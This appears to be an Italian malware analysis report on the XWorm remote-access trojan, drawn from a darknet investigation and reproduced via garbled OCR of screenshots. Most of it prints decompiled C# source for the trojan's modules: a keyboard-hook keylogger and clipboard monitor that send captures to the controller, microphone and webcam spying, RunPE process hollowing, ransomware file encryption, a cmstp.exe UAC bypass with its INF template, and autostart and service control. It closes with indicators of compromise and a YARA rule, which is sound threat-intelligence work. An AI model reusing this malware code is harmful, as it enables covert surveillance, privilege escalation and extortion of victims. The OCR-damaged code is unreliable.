64, ®, B, 32, @, @, @, 2,
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// HVNC.Plugin
#define DEBUG
+using |...

public class Plugin

public static string DotNet = Envirenment.GetEnvironmentVariable(“windir™) + "\\Microsoft.NE

public static object Run(string H, string P, string SL, string K, string id)

= !
object result = default(ocbject);
try
t I
if (File.Exists(DotNet))
RUNPE.PERun(DotNet, H+ " "+ P+ " " + K+ " " + idl DLLBuffer.rawData, |compati
return result;
}
return result;
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WriteLine(ex2.Message);
ProjectData.ClearProjectError();
return result;
i
}
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Il modulo Keylogger viene inizializzato contestualmente a quello di Clipboard notifications
management nel momento in cui viene eseguito il metodo ClientSocket.Send:

Clipboard
// Plugin.Clipboard
+ using

[5tandardModule]
internal sealed class Clipboard

1
public static string GetCurrentText()

= 1

string result
Thread thread

{
Thi

thread. SetApartmentState(ApartmentState.ST4);
thread.Start();
thread.Join();
return result;

string.Empty;
new Thread((Thread5tart)delegate

result = Clipboard.GetText();

ClipboardMotification
// Plugin.ClipboardNotification
#define DEBUG

+ using |...

public class ClipboardNotification : Form
H{
private const int WM _CLIPBOARDUPDATE = 797;

private static IntPtr HWND _MESSAGE = new IntPtr(-3);
public ClipboardNotification()
- {
SetParent (base.Handle, HWND MESSAGE);
AddClipboardFormatListenser(base.Handle);

¥
protected override void WndProc(ref Message m)
if (m.Msg == 797)

Debug.WriteLine($"Clipboard {Plugin.Clipbeard.GetCurrentText(}}");
ClientSocket.Send("GetKeylogger” + Settings.SPL + Settings.IDD + Settings.SPL + $"\r

base.WndProc(ref m);

}

D1llImport({"user32.d11", SetlastError = true
P
private static extern bool AddClipboardFormatListener(IntPtr hwnd);

[D11Import("user32.dll”, SetlastError = true)]
private static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hkndNewParent);

Text()}");
gs.I00 + Settings.SPL + $"\ri\n\rin[Clipboard]\r\n{Plugin.Clipboard.GetCurrentText ()} \rinirin™);
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Qui alcuni riferimenti dell’hooking degli eventi di keylogging:

HandleXLogger

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

private const int WM KEYDOWN = 256;

private static readonly LowlLevelKeyboardProc _prec = HookCallback;
public static IntPtr _hookID = IntPtr.Zero;

private static readonly int WHKEYBOARDLL = 13;

private static string CurrentActiveWindowTitle;

public static woid Run()

private static IntPtr SetHook(LowlLevelKeyboardProc proc)

- {
try
1
using Process process = Process.GetCurrentProcess();
using ProcessModule processModule = process.MainModule;
return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(processModule.ModuleName
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Helper.SendError(ex2.Message);
IntPtr zero = IntPtr.Zero;
ProjectData.ClearProjectError();
return zeroj
}
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
try

if (nCode >= @ &R wParam == (IntPtr)256)
{
int num = Marshal.ReadInt32(1Param);
bool flag = (GetKeyState(28) & BxFFFF) != @;
bool flag2 = ((uint)GetKeyState(168) & 8x8888u) != B || (GetKeyState(1l51l) & Bx8¢
string text = KeyboardLayout( ((uint)num));
text = ((!flag && !flag2) ? text.TolLower() : text.Tolpper());
if (num »>= 112 && num <= 135)

1
h

else

{

text = "[" + Conversions.ToString(num) + "]";

Keys keys = (Keys)num;
switch (keys.ToString())

case "Space”:
text = " ™;
break;

case "Return”
text = "[ENTER]\n";
break;

case "Escape™:
text = "[ESC]\n";
break;

case "Back":
text = "[Back]";
break;

case "Tab":
text = "[Tab]\n";
hreak;

}

h
if (!string.IsNullOrEmpty(text))
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HandleXLogger

case "Back":
text = "[Back]";
break;

case "Tab":
text = "[Tab]\n";
break;

¥
}
if (!string.IsNullOrEmpty(text))

StringBuilder stringBuilder = new StringBuilder();
if (object.Equals(CurrentActiveWindowTitle, GetActiveWindowTitle()))

I

stringBuilder.Append(text);

}

else

{

stringBuilder.Append($"\rin\r\n[ {DateTime.Now. ToShortTimeString()}] [{GetActiveWindowl
stringBuilder.Append($"\rin{text}");

ClientSocket.Send("GetKeylogger” + Settings.SPL + Settings.IDD + Settings.SPL + stringBuil

}
turn CallNextHookEx(_hookID, nCode, wParam, lParam);
(Exception projectError)
ojectData.SetProjectError(projectError);
tPtr zero = IntPtr.Zero;

ojectData.ClearProjectError();
turn zeroj;

atic string KeyboardLayout(uint wvkCode)

+
HandleXLogger =
private static string GetActiveWindowTitle() ~

+ Soc

[D11Import(“user32.d11")]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

[D11Import(“user32.d11", CharSet = CharSet.Auto, SetlastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr

[D11Import(“user32.d11", CharSet = CharSet.Auto, SetlastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hhk);

[D11Import(“user32.d11", CharSet = CharSet.Auto, SetlastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr 1P:

[D11Import(“kernel32.d11", CharSet = CharSet.Auto, SetlastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[D11Import( user32.d11")]
private static extern IntPtr GetForegroundWindow();

[D11Import(“user32.d11", SetlLastError = true)]
private static extern wint GetWindowThreadProcessId(IntPtr hWnd, out wint lpdwProcessId);

[D11Import(“user32.d11", CharSet = CharSet.Aute, ExactSpelling = true)]
public static extern short GetKeyState(int keyCode);

[D11Import(“user32.d11", SetlLastError = true)]
private static extern bool GetKeyboardState(byte[] lpKeyState);

[D11Import( user32.d11")]
private static extern IntPtr GetKeyboardLayout(uint idThread});

[P11lImport("user32.d11"}]
private static extern int ToUnicodeEx(uint wVirtkKey, uwint wScanCode, byte[] lpKeyState, [Oui

[P11lImport("user32.d11"}]
private static extern wint MapVirtualKey(uint uCode, uint uMapType);
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[l modulo di microphone ed audio logging fa uso dell’ALawEncoder e la compress table per la

compressione dell'audio monitorato mediante I'array readonly di bytes ALawCompressTable

di 128 celle.

AlawEncoder

// NAudio.Codecs.AlawEncoder

public static class AlawEncoder

—{
private const int cBias = 132;
private const int cClip = 32635;
private static readonly byte[] AlLawCompressTable = new byte[123]
- i
lJ 1} 2} 2} 3} 3} 3} 3} 4} 4}
4, 4, 4, 4, 4, 4, 5, 5, 5, 5,
5, 5, 5, 5, 5, 5, 5, 5, 5, 5, I
5, 5, 6, 6, 6, 6, 6, 6, 6, 6,
6)‘ 6} 6} 6)‘ 6)‘ 6} 6} 6)‘ 6)‘ 6}
6} 6} E} 6} 6} 6} E} 6} 6} 6}
6)‘ 6} 6} 6)‘ :l‘) ?} :I‘} ?J' :l‘) ?}
?J' :I‘} ?} ?J' ?J' ?} ?} ?J' ?J' ?}
Ty £y Ty Ty Ty Ty, 7, 7, 75 7,
:l‘) :I‘} :I‘} ?J' :l‘) ?} :I‘} ?J' :l‘) ?}
?J ?} ?} ?J ?J ?} ?} ?J ?J ?}
:l‘) :I‘} :I‘} ?J' :l‘) ?} :I‘} ?J' :l‘) ?}
7, 0,7, 0,70, 70, 7,7
I §
public static byte LinearToALawSample(short sample)
- 1
int num = (~sample »>> 8) & @x38;
if (num == @)
i
sample = (short)(-sample);
I
if (sample > 32635)
{
sample = 32635;
}
byte b;
if (sample »>= 256)

int num2

ALawCompressTable[ (sample >»> 8) & @x7F];

Con il fine di inizializzare la sessione di microphone logging viene effettuata I'esecuzione del

comando relativo all'operator MICGET:
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public static void audioDataAvailable(cbject sender, WaveInEventArgs e)

- {
try
if (MICR)
ClientSocket.Send(Conversions.TeString(Operators.ConcatenateObject(Operators.Cor
GC.Collect();
¥
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WriteLine(ex2.Message);
ProjectData.ClearProjectError();
}
}

nateObject(Operators.ConcatenateObject(Operators. ConcatenateObject ("MICGET", %tientSocket.SPL),

Qui un’enumerazione dei dispositivi per il monitoraggio del microfono tramite un ciclo for:

public static string[] GetDiwv()

= i
List<string> list = new List<string>();
1
try I
1
int num = @;
int num2 = Waveln.DeviceCount - 1;
int num3 = num;
int numd = num2;
for (int i = num3; i <= numd; i)
i
list.Add(WavelIn.GetCapabilities(i).ProductName};
h
b
catch (Exception ex)
1
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.ClearProjectError();
b
return list.ToArray();
¥
b

All'interno della classe Ransomware possiamo notare riferimenti ad oggetti di tipo FileStream,
arrays di bytes per gli oggetti chiave bytKey e bytlV, la folder Desktop per il dropping del
wallpaper in HTML. A seguire i dettagli dei metodi DEC, EncryptOrDecryptFile, CreateKey e
CreatelV. Questi ultimi utilizzano esecuzioni di hashing SHA512 delle variabili array2.
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// Plugin.Plugin
+using |...

public class Plugin
public enum CryptoAction
+

public static FileStream fsInput;

public static FileStream fsOutput;

public static byte[] bytkey;

public static byte[] bytIV; I
public static List<string> Llist = new List<string>();

public const int SETDESKWALLPAPER = 28;

public const int UPDATEINIFILE = 1;

public static string html = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) +

[P1lImport("user32”, CharSet = CharSet.Ansi, EntryPoint = "SystemParametersInfoA", Exactspel
public static extern int SystemParametersInfo(int uAction, int uParam, [MarshalAs(Unmanaged]

public static string DEC(string pass)
- {
int try@eel_dispatch = -1;
int num3 = default(int);
int num2 = default(int);
int num = default(int);
string text = default(string);
string[] legicalDrives = default(string[]};
int numS = default(int);
string text2 = default(string);
IEnumerator enumerator = default(IEnumerator);
string text3 = default(string);

public static void EncryptOrDecryptFile(string strInputFile, string strOutputFile, byte[] bytk

= {
int try@eel_dispatch = -1
int num3 = default(int);
int num2 = default(int);
int num = default(int);
int numSs = default(int);
byte[] array = default(byte[]);
CryptoStream cryptoStream = default(CryptoStream);
FileInfe fileInfo = default(FileInfo);
long numé = default(long);
long length = default(long);
RijndaelManaged rijndaelManaged = default(RijndaelManaged);
while (true)

i
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IL @99a:

num = 15;

numS = fsInput.Read(array, @, 4896);
goto IL_@8ab;

IL_BBaE:I

num = 164%

cryptoStream.Write(array, @, numS);
goto IL_@8ehbs;

IL @185:

num = 23;

fileInfo = new FileInfo(strInputFile);
break;

IL @ebs:

num = 17;

numé = (numé + numS);

goto IL_@8cl;

IL @eeh:

num = 23

fsInput = new FileStream(strInputFile, FileMode.Open, FileAccess.Read);
goto IL_@8la;

IL_@eala:

num = 33

FsOutput = new FileStream(strOutputFile, FileMode.OpenOrCreate, FileAccess.Write);
goto IL_@e29;

IL #829:

num = 4;

FsOutput.SetLength(eL);

goto IL_©e38;

IL @838:

num = 53

array = new byte[4897];

public static byte[] CreateKey(string strPassword)

-l
char[] array = strPassword.ToCharArray();
int upperBound = array.GetUpperBound(@);
{ T
byte[] array2 = new bytefupperBound + 1];
int upperBound2 = array.GetUpperBound(@);
for (int i = @; i <= upperBound2; i++)
1
array2[i] = (byte)Strings.Asc(array[i]);
}
SHAS12Managed sHAS12Managed = new SHAS12Managed();
byte[] array3 = sHA512Managed.ComputeHash(array2);
byte[] arrayd4 = new byte[32];
int num = @;
do
1
arrayd4[num] = array3[num];
num++;
}
while (num <= 31);
return arrayd;
h
¥
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public static byte[] CreateIV(string strPassword)

- {
char[] array = strPassword.ToCharArray();
int upperBound = array.GetUpperBound(@);
1
byte[] array2 = new byte[upperBound + 1];
int upperBound2 = array.GetUpperBound(@);
for (int 1 = @8; 1 <= upperBound2; i++)
{
array2[i] = (byte)Strings.Asc(array[i]);
}
SHAS12Managed sHAS12Managed = new SHAS512Managed();
byte[] array3 = sHA512Managed.ComputeHash(array2);
byte[] arrayd4 = new byte[l6];
int num = 32;
do
{
arrayd[num - 32] = array3[num];
num3
}
while (num <= 47);
return array4;
¥
}

| metodi enc1 ed enc2 permettono di effettuare filesystem queries per ricercare files criptati
all'interno di tutte le folders o all'interno di una folder specifica passata come argomento in
input:

public static object encl(string ruta)
- {
return from ifilesinfo in Directery.GetFiles(ruta, "*.ENC", SearchOption.AllDirectories)
select (ifilesinfo);

¥

public static cbject enc2(string ruta)
= {
return from ifilesinfo in Directory.GetFiles(ruta, "*.ENC")
select (ifilesinfo);

}
}

Nel modulo Messages vi € la gestione di closing ed opening del proxy settando gli attributi
Proxy.ServerPort e Proxy.ClientHost rispettivamente con i valori array[1] e array[2]:
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[/ Plugin.Messages
#define DEBUG
+using |...

public class Messages

private static readonly chject SPL = RuntimeHelpers.GetObjectValue(ClientSocket.SPL);

public static void Read(byte[] b)

try
{
string[] array = Strings.Split(Helper.BS(Helper.AES Decryptor(b)), Conversions.ToStr
string left = array[®@];
if (Operators.CompareString(left, "CloseProxy", TextCompare: false) != @)
if (Operators.CompareString(left, "RunProxy", TextCompare: false) == 8)
Proxy.ServerPort = array[1]; I
Proxy.ClientHost = array[2];
Proxy.Connection.Start();
}
}
else
ClientSocket.isDisconnected();
h
¥
catch (Exception ex)
1
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.Writeline(ex2.Message);
ProjectData.ClearProjectError();
¥

All'interno del modulo RunPE per I'esecuzione di Portable Executables esterni vengono definite
le informazioni del processo e di startup:

while (num <= 5);
return false;

}

private static bool HandleRun(string path, byte[] data)
= {
string text = $"\"{path}\"";
STARTUP_INFORMATION startupInfo = default(STARTUP_INFORMATION);
PROCESS_INFORMATION processInformation = default(PROCESS_INFORMATION);
startupInfo.dwFlags = @;

{

startupInfo.Size = (uint)Marshal.SizeOf(typeof(STARTUP_INFORMATION));
try

1
if (!string.IsNullOrEmpty(""))

text = (text + " ") ?? "3
if (!CreateProcess_APIOO(path, text, IntPtr.Zero, IntPtr.Zero, inheritHandles: fal:

throw new Exception();
¥
int num = BitConverter.ToInt32(data, 6@);
int num2 = BitConverter.ToInt32(data, num + 52);
int[] array = new int[173];
array[@] = 65538;
if (IntPtr.size == 4)
{

if (!GetThreadContext_API(processInformation. ThreadHandle, array))

throw new Exception();

}

else if (!Wow64GetThreadContext_API(processInformation.ThreadHandle, array))

throw new Exception();
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A seguire alcuni dettagli di services management (CloseServiceManager, GetService e
RunService) contenente un costrutto switch per quanto riguarda |'attributo array[0]:

private static readonly cbject SPL = RuntimeHelpers.GetObjectValue(ClientSocket.SPL); ¢

public static void Read(byte[] b)
= i
try
{
string[] array = Strings.Split(Helper.BS(Helper.AES_Decryptor(b)), Conversicns.ToStr
switch (array[@])
i
case "CloseServiceManager”
ClientSocket.isDisconnected();
break;
case "GetService™:
Refresh();
break;
case "RunService":
{
ServiceContreller[] services2 = ServiceController.GetServices();
foreach (ServiceController serviceContreoller2 in services2)

1
string[] array3 = Strings.Split(array[1], "-=>");
foreach (string text2 in array3)
{
if (Operators.CompareString(serviceController2.ServiceName.TolLower(), te
try
{
serviceController2.Start();
catch (Exception ex3)
{
ProjectData.SetProjectError(ex3);
Exception ex4 = ex3;
ProjectData.ClearProjectError();
}
3
}
¥
Refresh();
break; »

A seguire i tre metodi utilizzati con il fine di gestire gli OS Autostart items, nella fattispecie i
files nelle cartelle di autostart, chiavi di registro di autostart e scheduled tasks:
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// Plugin.Messages
#define DEBUG
+ using |...

public class Messages
H{

private static readonly object SPL = RuntimeHelpers.GetObjectValue(ClientSocket.SPL);

public static woid Read(byte[] b)

public static ocbject DeleteFile(string StrFileName)

- f
object result = default(ocbject);
try
File.Delete({StrFileName);
return result;
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WritelLine(ex2.Message);
ProjectData.ClearProjectError();
return result;
¥
b

public static object DeleteTask(string StrTaskMame)

1
object result = default(object);
try
1

TaskService taskService = new TaskService();

if (taskService.GetTask{5trTaskName)} != null)

1
taskService.RootFolder.DeleteTask(StrTaskName) ;
return result;

h

return result;

¥

catch (Exception ex)

1
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WriteLine(ex2.Message);
ProjectData.ClearProjectError();
return result;
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public static object DeleteReg(object StrReg)
1

object result = default({object);

try

1

object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("Wscript.st
object[] obj = new object[1] { StrReg };

object[] array = obj;

bool[] obj2 = new bool[1] { true };

bool[] array2 = obj2;

NewLateBinding.LateCall(objectValue, null, "RegDelete”, obj, null, null, obj2, IgnoreR
if (array2[@])

1

StrReg = RuntimeHelpers.GetObjectValue(array[@]);
return result;

}

return result;

catch (Exception ex)

1
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WritelLine(ex2.Message);
ProjectData.ClearProjectError();
return result;

public static string GetStartup()
1
string subkey = "software\\microsoft\\windows‘\\currentversion\\run”;
string subkey2 = "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce";
stringBuilder stringBuilder = new StringBuilder();
try
1
string[] files = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFo.
foreach (string text in files)

{
stringBuilder.Append(Path.GetFileName(text) + "-=:File-=:" + Environment.GetFol
b
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
ProjectData.ClearProjectError();
}
try
{
string[] files2 = Directory.GetFiles(Envircnment.GetFolderPath(Environment.SpecialF
foreach (string text2 in files2)
{
stringBuilder.Append(Path.GetFileName (text2) + "-=:File-=>" + Envircnment.GetFo.
b
catch (Exception ex3)
{

ProjectData.SetProjectError(ex3);
Exception exd = ex3;
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string[] valueNames = Registry.CurrentUser.CreateSubley(subkey).GetValueNames();
foreach (string text3 in valueNames)

1
stringBuilder.Append(text3 + "-=>Reg-=>HKEY_CURRENT_USER\\Software\\Microsofti\t
h
catch (Exception ex5)
1
ProjectData.SetProjectError(exs);
Exception ex6 = exS;
ProjectData.ClearProjectError();
h
try
1
string[] valueNames2 = Registry.CurrentUser.CreateSubKey(subkey2).GetValueNames();
foreach (string text4 in valueNames2)
1
stringBuilder.Append(text4 + "-=>Reg-=>HKEY_ CURRENT_USER\\Software\\Microsoft\\l
¥
catch (Exception ex7)
1
ProjectData.SetProjectError(ex?);
Exception ex8 = ex7;
ProjectData.ClearProjectError();
h
try
1
string[] valueNames3 = Registry.localMachine.CreateSubKey(subkey).GetValueNames();
foreach (string texts in valueNames3)
1
stringBuilder.Append(textS + "-=:Reg-=>HKEY_LOCAL_MACHINE\\Software\\Microsoft\}
}
catch (Exception ex9)
1

ProjectData.SetProjectError(ex9);
Exception ex1® = ex9;

string[] valueNames = Registry.CurrentUser.CreateSubKey(subkey).GetValueNames();
foreach (string text3 in valueNames)

{
}

tch (Exceptiocn exS)

stringBuilder.Append(text3 + "-=:Reg-=:HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Cu

ProjectData.SetProjectError{exs);
Exception ex6 = ex5;
PrejectData.ClearProjectError();

string[] valueNames2 = Registry.CurrentUser.CreateSubKey(subkey2).GetValueNames();
foreach (string text4 in valueNames2)

{
}

tch (Exception ex7)

stringBuilder.Append(text4 + "-=>Reg-=>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Cu

ProjectData.SetProjectError{ex?);
Exception ex8 = ex?;
ProjectData.ClearProjectError();

string[] valueNames3 = Registry.lecalMachine.CreateSubKey(subkey).GetValueNames();
foreach (string textS in valueNames3)

{
}

tch (Excepticon ex9)

stringBuilder.Append(text5 + "-=>Reg-=>HKEY_ LOCAL MACHINE‘\\Software\\Microsoft\\Windows\\C

ProjectData.SetProjectError{exd);
Exception exl® = ex3;
ProiectData.ClearProjectError():
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iry
TaskService taskService = new TaskService();

TaskCellection tasks = taskService.RootFolder.GetTasks();
foreach (Task item in tasks)

{
¥

taskService.Dispose();

stringBuilder.Append(item.Name + "-=>Task-=:" + item.Path + "-=»" + item.Definition..

catch (Exception ex13)

{
ProjectData.SetProjectError(exl3);
Exception exl4 = ex13;
ProjectData.ClearProjectError();

}

return stringBuilder.ToString();

Per quanto riguarda le connessioni TCP vi sono funzionalita di chiusura, killing connections ed
enumerations.

public class Messages

—{

private static readonly object SPL = RuntimeHelpers.GetObjectValue(ClientSocket.SPL);

public static void Read(byte[] b)
- {
try
{
string[] array = Strings.Split(Helper.BS(Helper.AES_Decryptor(b}), Conversions.ToStr
switch (array[@])

case "CloseTCPConnections™:
ClientSocket.isDisconnected();
break;

case "KillTCPConnection™:

string[] array2 = Strings.Split(array[1], "-=3");
foreach (string wvalue in array2)
{
try
{
Process.GetProcessById(Convert.ToInt32(value)).Kill();

catch (Exception ex)

{

ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WriteLine(ex2.Message);
ProjectData.ClearProjectError();

}

GetTCPConnection();
break;

}

case "GetTCPCeonnection™:
GetTCPConnection();
break;

Allinterno  di un ciclo for vengono aggiunte items all'interno della lista
mIB_TCPROW_OWNER_PID:
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public static wvoid GetTCPConnection()

{
try
{
StringBuilder stringBuilder = new StringBuilder();
TcpConnectionTableHelper.MIB_TCPROW_OWNER_PID[] allTcpConnections = TcpConnectionTat
int num = allTcpConnections.Llength;
int num2 = (num - 13;
for (int i =®@; i <= num2; i = (i+ 1))
{
TcpConnectionTableHelper.MIB_TCPROW_OWNER_PID mIB_TCPROW _OWNER_PID = allTcpConne
string text = $"{TcpConnectionTableHelper.GetIpAddress(mIB_TCPROW_OWNER_PID. Locc
string text2 = $"{TcpConnectionTableHelper.GetIpAddress(mIB_TCPROW_OWNER_PID.ren
stringBuilder.Append(Conversions.ToString(mIB_TCPROW_OWNER_PID.owningPid) + "-=:
ClientSocket.Send(Conversions.ToString(Operaters.ConcatenateObject(Operators.Concate
catch (Exception ex)
1
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.Writeline(ex2.Message);
ProjectData.ClearProjectError();
b
}

[l malware fa uso del processo cmstp.exe (Microsoft Connection Manager Profile Installer) al
fine di bypassare lo User Access Control di Windows:

// Plugin.Plugin
+using [...

public class Plugin

public static string BinaryPath = Interaction.Environ("WinDir™) + "\\system32\\cmstp.exe";

public static object UACFunc(int Method)
public static bool AdminCheck()

[01llImport(“user32.d1l", CharSet = CharSet.Ansi, ExactSpelling = true, Setlastfrror = true)’
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool PostMessageW(IntPtr hWnd, uwint Msg, int wParam, int 1Param);

[DllImport(“user32”, CharSet = CharSet.Aute, SetlastError = true)]
private static extern int FindWindowEx(int parentHandle, int childAfter, [MarshalAs(Unmanage

public static string SetInfFile(string CommandToExecute)

- {
string value = Path.GetRandomFileName().5plit(Convert.ToChar("."))[@];
string value2 = Interaction.Environ("WinDir™)} + "\\temp”;
stringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(value2);
stringBuilder.Append("\\");
stringBuilder.Append(value);
stringBuilder.Append(”.inf");
StringBuilder stringBuilder2 = new StringBuilder(Code());
stringBuilder2.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
File.WriteAllText(stringBuilder.ToString(), stringBuilder2.ToString());
return stringBuilder.ToString();
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Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation All rights reserve

Inu>cmstp.exe malicious.inf

(0]

All'interno del metodo booleano statico Execute() esegue un processo esterno CorpVPN che
includono anche comandi di pre-execution.

public static bool Execute()
1
if (!File.Exists(BinaryPath))

1
}

StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(SetInfFile(Process.GetCurrentProcess().MainModule.FileName));
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = BinaryPath;

processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.Arguments = "/au " + stringBuilder.ToString();
Process.Start(processStartInfo);

Thread.Sleep(5@@a) ;

int parentHandle = @;

int childAfter = @;

string lelassName = null;

string windowTitle = "\"CorpVPN\"";

int num = FindWindowEx(parentHandle, childAfter, ref lclassName, ref windowTitle);
PostMessageM( (IntPtr)num, 256u, 13, @);

return true;

return false;

public static string Code()
=
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append (" [version]\rinSignature=$chicage$\rinAdvancedINF=2.5");
stringBuilder.Append("\rin");
stringBuilder.Append("\rin");
stringBuilder.Append( " [DefaultInstall]\r\nCustomDestination=CustInstDestSectionAllUsers\r
stringBuilder.Append("\rin");
stringBuilder.Append("\rin");
stringBuilder.Append (" [RunPresetupCommandssection]\r\n; Commands Here will be run Before
stringBuilder.Append("\rin");
stringBuilder.Append("\rin");
stringBuilder.Append("[CustInstDestSectionAllUsers]\rin43a6e,43601=A11U5er_LDIDSection, 7'
stringBuilder.Append("\rin");
stringBuilder.Append("\rin");
stringBuilder.Append("[AllUSer LDIDSecticn]\ri\n#SHKLMESR, #2SOFTWARE\\Microsoft\\Windows\\
stringBuilder.Append("\rin");
stringBuilder.Append("\rin");
stringBuilder.Append("[5trings]\rinServiceName=##CorpVPNHE\r\nShortSvcName=##CorpVPN#E") ;
return stringBuilder.ToString().Replace("#", "\"");

[l modulo Webcam provvede ad effettuare un monitoraggio a scopo malevolo delle immagini
riprese a video e viene effettuato un processing delle immagini mediante un oggetto Bitmap,
il quale viene definito con il richiamo del metodo Helper.webcam.GetCurrentimage().
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All'interno del primo if innestato nel costrutto switch viene eseguito un Thread.Sleep di mezzo
secondo e viene cambiata la sorgente. L'oggetto Bitmap viene codificato e salvato con
I'oggetto encoderParameters.

-

// Plugin.Messages A
#define DEBUG
+using |...

public class Messages
=h

private static readonly cbject SPL = RuntimeHelpers.GetObjectValue(ClientSocket.SPL);
public static bool CH;

public static void Read(byte[] b)
- {
try
{
string[] array = Strings.Split(Helper.BS(Helper.AES_Decryptor(b)), Conversions.ToStr
switch (array[@])
{

case "Cam":

{
if (!Helper.us)

Helper.US = true;

Helper.CameraControl = new WebCameraControl();
Helper.webcam = new Webcam(Helper.CameraControl);
Helper.webcam.changeSource(Convert.ToInt32(array[1]));
Thread.Sleep(5e8);

Helper.imgR = true;

if (!Helper.imgR)

break;
¥
Bitmap currentImage = Helper.webcam.GetCurrentImage();
EncoderParameter encoderParameter = new EncoderParameter(Encoder.Quality, Conver
ImageCodecInfo encoderInfo = Helper.GetEncoderInfo(ImageFormat.Jpeg);
EncoderParameters encoderParameters = new EncoderParameters(l);
encoderParameters.Param[@] = encoderParameter;
MemoryStream memoryStream = new MemoryStream();
currentImage. Save (memoryStream, encoderInfo, encoderParameters);
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| dati poi ottenuti, prima di essere inviati tramite Socket, vengono criptati:

Bitmap currentImage = Helper.webcam.GetCurrentImage();

EncoderParameter encoderParameter = new EncoderParameter(Encoder.Quality, Convert.ToInt32(:
ImageCodecInfo encoderInfo = Helper.GetEncoderInfo(ImageFormat.Jpeg);

EncoederParameters encoderParameters = new EncoderParameters(1);

encoderParameters.Param[@] = encoderParameter;

Memorystream memoryStream = new MemoryStream();

currentImage.Save(memoryStream, encoderInfe, encoderParameters);

try

lock (ClientSocket.S)
1

using MemoryStream memoryStream2 = new MemoryStream();

byte[] array2 = Helper.AES_Encryptor(Helper.SB(Cenversions.ToString(Operators.Addol
byte[] array3 = Helper.SB(Conversions.To5tring(array2.Length) + "\@");
memoryStream2.Write(array3, @, array3.Llength);

memoryStream2.Write(array2, @, array2.Length);

ClientSocket.5.Poll(-1, SelectMode.SelectWrite);
ClientSocket.S5.Send(memoryStream2. ToArray(), @, ((int)memoryStream2. Length),

}

catch (Exception ex)

1
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Debug.WriteLine(ex2.Message);

A seguire ulteriori dettagli del codice esadecimale del PE ove si evince |'offuscazione tramite
.NET Reactor del medesimo:

Symbols

9155420.VCE14732
DT72FC996C5B6&EATO
04VC276420.B002A
216CDBOB48BEFDAS3
E377C68157420.EE
ODOBF1DATE3FOG6AE
EBS5SF40FDES36420
.G2347CB0925DSED
20FG5960BDB0O6GOCE
420 .DD4AATF125890
64AESEFS1ESEFF25
2A9420.EADDSOD358
B773C064064B55A2
B4776A420.get_CD
C4656T7T43EBSSTFAB
E1793E3F520T7A420
.set CDC4656T743E
B55TFABE1793E3F5
207A420.00FCCCAD
SBODG2DEZDTE3ICCE
82F608B420.B4459
CEBAAAFBEG28T792A
468655D98B420.EA
33BBHAS943411FED
F6BBB12AFBT79B420
.W9F4F4198FFD300
CF35V9BAS3E6GEDILIC
420 .5E422955624C
2D7TT28B094FCAS4B
FEC420.R4R71EFR7

0069adb0
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10Cs XWorm:

e 37a9fdc56e605d2342da88a6e6182b4b

e 20bc3df33bbbb676d2a3c572cff4c1d58c79055d

e 422ba689937e3748a4b6bd3c5af2dce0211e8a48eb25767e6d1d2192d27f1f58
o GETPASSWORD1

e blackhatrussia[.Jcom

o 44X9i4c6YhQcfLiSCrbNH25yrRfkrhrz

XWorm regola YARA:

rule X\WormRule

{
strings:
$xwormStr = "44X9i4c6YhQcfLiSCroNH25yrRfkrhrz"

$xwormStr1= "blackhatrussia”

condition:

$xwormStr or $xwormStr1
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Conclusioni

Il threat preso in considerazione nella presente Darknet investigation e distribuito tramite
Darkweb nel momento in cui viene effettuata una reaction del post principale da parte
dell’'utente collegato. X\Worm e personalizzabile e puo permettere I'aggiunta di nuove features
e malicious tasks di remote access e stealing. In un’ottica di future threat landscape € possibile
che il malware sottoposto a disamina effettui anche distribuzioni di ulteriori minacce, come ad
esempio ransomware avanzati e complessi con furto di dati e, qualora il riscatto non dovesse
essere pagato, si procedera con una pubblicazione di questi ultimi. E importante sottolineare
come sia facile e versatile la distribuzione dell'intero progetto di malware development ed il
corrispondente codice sorgente. Ovviamente questa e solo la punta di un enorme iceberg che
nasconde una quantita immensa di forums Darkweb che distribuiscono interi progetti dell'DE
dello sviluppo di varie tipologie di threats. Questo puo comportare la possibilita di forking e
personalizzazione che potenzialmente avrebbero infinite possibilita di sviluppo.
Consequenzialmente tale metodologia di malware deployment pud comportare il propagarsi
di numerose varianti e cio puo intaccare negativamente i motori di malware signatures statici
e basati su firme antivirali, in quanto esse presenterebbero differenze nei patterns e nel codice
